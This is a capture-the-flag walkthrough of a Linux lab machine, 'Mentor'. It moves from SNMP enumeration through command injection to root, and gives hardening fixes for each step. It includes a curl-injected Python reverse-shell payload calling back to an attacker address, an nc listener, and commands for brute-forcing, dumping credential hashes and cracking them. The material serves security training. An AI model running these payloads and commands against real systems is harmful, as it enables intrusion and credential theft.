← all walkthroughs

Mentor

Linux· Medium· Privilege Escalation
owned
2026-09-05
time to own
12m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I started with only SSH and a Flask/Werkzeug website exposed over TCP, but a UDP scan revealed SNMP running with a guessable second community string that leaked a full process table — including a login script invoked with its password as a plaintext command-line argument. That password authenticated to a hidden FastAPI backend (api.mentorquotes.htb) as user james, whose /admin/backup endpoint passed my input straight to a shell, giving root-level code execution inside the application's container.

From there, hardcoded database credentials in the app's source let me reach a PostgreSQL instance on the underlying host, dump the users table, and crack a weakly-hashed (MD5) password for the local service account svc — yielding SSH access and the user flag. On the host, a world-readable SNMPv3 configuration file stored another password in plaintext, which had been reused for the local user james; and once logged in as james, an unrestricted sudo rule allowing any shell command as root delivered full system compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"
export PASSWORD4="<the-password-you-recovered>"
export PASSWORD5="<the-password-you-recovered>"

Attack path — how the box was taken

1ReconnaissanceSNMP community string enumeration/brute-forcing (T1590.005)
Found SNMP over UDP and brute-forced a second, non-default community string
A TCP scan only showed SSH and a Flask web app, but scanning UDP revealed SNMP (161/udp) responding to the default 'public' community. Brute-forcing common community strings against the service uncovered a second, undocumented read community, <withheld>, which exposed far more data than the public one.
161/udp open snmp udp-response ttl 63 SNMPv1 server; net-snmp SNMPv3 server (public); a snmpbulkwalk with community <withheld> returned live MIB data confirming it was also valid.
Exact commands 2
shell

TCP-only scans miss SNMP; explicitly scan UDP to find 161/udp.

$ sudo nmap -sU --top-ports 100 $TARGET
shell

Brute-force community strings; confirms 'public' and surfaces the non-default string.

$ onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt $TARGET
FixHarden SNMP: remove weak community strings and prefer SNMPv3Medium
WeaknessSNMP accepted both the default 'public' community and a second, non-default community, both granting full read access to system and process information without meaningful authentication.
FixDisable SNMPv1/v2c entirely or restrict it to a management-only source IP via ACL; use long, random, non-guessable community strings if v2c must remain; migrate to SNMPv3 with authPriv (SHA/AES) for all access.
2ReconnaissanceCredential disclosure via SNMP process-table enumeration (HOST-RESOURCES-MIB hrSWRunParameters)
Walked SNMP with the community and recovered a plaintext password from the process table
SNMP's host-resources MIB exposes the running process list and the exact command line each process was started with. Because a custom login service (login.py) was launched with its password passed directly as a command-line argument, that argument was fully visible to anyone who could read SNMP's process table with the community string.
Snmpbulkwalk output included "login.py <withheld>" under hrSWRunParameters.
Exact commands 2
shell

Full walk of the SNMP tree using the discovered community string.

$ snmpbulkwalk -v2c -c $PASSWORD5 $TARGET . > snmp.txt
shell

Filter the walk offline for the process-table line disclosing the login.py password.

$ grep -iE 'pass|login|-u |secret' snmp.txt
FixNever pass secrets as process command-line argumentsHigh
WeaknessThe login.py service was started with its password as a plaintext command-line argument, which is visible to any local user or SNMP client able to read the process table (SNMP's host-resources MIB exposes command lines).
FixPass secrets via environment variables, a restricted-permission config file, or a secrets manager — never as CLI arguments. Where SNMP process visibility isn't needed, disable the hrSWRunParameters OID or restrict SNMP process-table reads.
3Initial AccessVirtual-host discovery and credential reuse against an exposed API
Found the hidden API vhost and logged in with the leaked password
The website only made sense once requested with a Host header of api.mentorquotes.htb, which served a FastAPI backend. Its OpenAPI spec (/openapi.json) documented every endpoint, including /auth/login, and disclosed the developer's email james@mentorquotes.htb. The SNMP-leaked password authenticated as james, returning a valid session token.
/openapi.json listed /auth/login, /admin/backup and contact email james@mentorquotes.htb; POST to /auth/login with the SNMP-leaked password returned a JWT.
Exact commands 3
shell

Resolve the hidden API vhost locally.

$ echo "$TARGET mentorquotes.htb api.mentorquotes.htb" | sudo tee -a /etc/hosts
shell

Pull the API spec to enumerate endpoints and the developer email.

$ curl -sS -H 'Host: api.mentorquotes.htb' http://$TARGET/openapi.json
shell

Authenticate as james with the SNMP-leaked password; returns a JWT to use as the raw (no 'Bearer ') Authorization header value.

$ curl -sS -X POST -H 'Host: api.mentorquotes.htb' -H 'Content-Type: application/json' --data '{"email":"james@mentorquotes.htb","username":"james","password":"'"$PASSWORD2"'"}' http://$TARGET/auth/login
4ExploitationOS command injection (CWE-78 / T1190)
Exploited command injection in the /admin/backup endpoint for code execution
The authenticated /admin/backup endpoint accepted a 'path' parameter and passed it to a shell without sanitization. Prefixing the path value with a semicolon and a Python reverse-shell one-liner ran my commands on the server, returning a shell that reported uid=0 — the API process was running as root inside its container.
Id executed via the injected shell returned "uid=0(root) gid=0(root)..."
Exact commands 2
shell

Listener on my host ($ATTACKER_IP) to catch the reverse shell.

$ nc -lvnp 443
shell

Inject a reverse-shell command via the unsanitized 'path' field; Authorization header takes the raw JWT with no 'Bearer ' prefix.

$ curl -sS -X POST -H 'Host: api.mentorquotes.htb' -H 'Authorization: <JWT>' -H 'Content-Type: application/json' --data '{"path":";python3 -c '\''import os,pty,socket;s=socket.socket();s.connect((\"'"$ATTACKER_IP"'\",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"sh\")'\'';"}' http://$TARGET/admin/backup
FixEliminate shell command construction from user input in the backup endpointCritical
WeaknessThe /admin/backup endpoint passed a caller-supplied 'path' value directly into a shell command with no sanitization, and the process ran as root, giving any authenticated user root-equivalent code execution.
FixNever build shell commands from user input; use subprocess calls with an argument list (no shell=True) and a strict allowlist/validation of the path parameter. Run the API service as a dedicated non-root, low-privilege account regardless.
5Lateral MovementHardcoded database credentials and weak (unsalted MD5) password hashing (CWE-798 / CWE-916)
Pivoted from the app container to the host database and cracked a service account password
The application's own source (db.py) contained a hardcoded PostgreSQL connection string pointing at the underlying host, which was reachable from inside the container. Querying the users table returned password hashes for james and a local service account, svc; the svc hash was a fast, unsalted MD5 digest and was cracked offline.
Db.py: postgresql://<withheld> SELECT * FROM users returned MD5 hashes for james and svc; cracked svc -> <withheld>.
Exact commands 3
shell

From the RCE shell inside the container — reveals the hardcoded Postgres connection string pointing at the Docker host gateway.

$ cat db.py
shell

The host's Postgres is reachable from the container network; dump credential hashes.

$ psql "postgresql://$PASSWORD4:$PASSWORD4@$INTERNAL_HOST/mentorquotes_db" -c 'SELECT * FROM users;'
shell

Crack the MD5 hash for svc (mode 0 = raw MD5) -> <withheld>.

$ hashcat -m 0 -a 0 svc_hash.txt /usr/share/wordlists/rockyou.txt
FixRemove hardcoded database credentials and use strong, salted password hashingHigh
WeaknessThe application's source contained a hardcoded, reachable PostgreSQL connection string to the host database, and stored user passwords as unsalted MD5 hashes that were cracked in seconds.
FixLoad database credentials from environment variables or a secrets manager, use a unique strong password for the database account, and restrict network access to it (firewall/container network policy). Rehash all stored passwords with bcrypt/scrypt/argon2 with per-user salts.
6Lateral MovementAuthenticated SSH access using a cracked password
Logged in over SSH as svc and captured the user flag
The cracked password worked directly for SSH as the local svc account on the host itself (not the container), giving a stable foothold and access to the user flag.
Id returned uid=1001(svc); /home/svc/user.txt read successfully.
Exact commands 2
shell

Confirm SSH access to the host as svc.

$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null svc@$TARGET 'id; hostname'
uid=1001(svc)
shell

Read the user flag -> <user.txt>

$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null svc@$TARGET 'cat /home/svc/user.txt'
7Privilege EscalationPassword reuse via a plaintext credential in a service configuration file (CWE-256)
Found a plaintext SNMPv3 password reused for a local user account
The svc account could read /etc/snmp/snmpd.conf, which contained a createUser line embedding an SNMPv3 authentication password in plaintext. That same password had been reused as the login password for the local user james, allowing a direct account switch.
Snmpd.conf: createUser bootstrap MD5 <withheld> DES; su - james succeeded with that password.
Exact commands 2
shell

Run as svc over the SSH session; reveals the plaintext SNMPv3 createUser password.

$ cat /etc/snmp/snmpd.conf
shell

Reuse the SNMP config password to switch to the james account.

$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null svc@$TARGET "printf '%s\n' '$PASSWORD' | su - james -c 'id'"
FixRemove plaintext passwords from SNMP configuration and stop reusing passwords across accountsHigh
Weakness/etc/snmp/snmpd.conf stored an SNMPv3 user's password in plaintext, and that exact password was reused as the login credential for the local user james, letting anyone who read the config file pivot directly to a real OS account.
FixUse snmpd's encrypted/localized key storage (createUser directives are auto-converted to hashed form on daemon start — remove the plaintext line from the persisted config after first run) and restrict file permissions to root:root 600. Enforce unique passwords per account/service via a password manager or vault.
8Privilege EscalationSudo privilege escalation via an unrestricted shell rule (T1548.003, GTFOBins 'sh')
Abused an unrestricted sudo rule to gain a root shell
As james, sudo -l showed permission to run /bin/sh as any user with no argument restrictions. Running sudo /bin/sh produced an interactive root shell, from which the root flag was read — confirming full system compromise.
Sudo -l: "User james may run the following commands on mentor: (ALL) /bin/sh"; sudo /bin/sh returned uid=0(root).
Exact commands 2
shell

Enumerate sudo rights as james.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null james@$TARGET "printf '%s\n' '$PASSWORD' | sudo -S -l"
shell

Escalate to root via the unrestricted /bin/sh rule and read the root flag -> <root.txt>

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null james@$TARGET "printf '%s\n' '$PASSWORD' | sudo -S /bin/sh -c 'id; cat /root/root.txt'"
uid=0(root)
FixRestrict sudo rules to specific, safe commandsCritical
WeaknessThe user james had an unrestricted sudo rule allowing execution of /bin/sh as any user, equivalent to full root access with no auditing or command restriction.
FixRemove blanket shell/interpreter entries from sudoers. Grant only the specific commands a user needs, with fully-qualified paths and arguments, and validate new rules against GTFOBins before deployment.

Exposed services

22/tcp
80/tcp
161/udp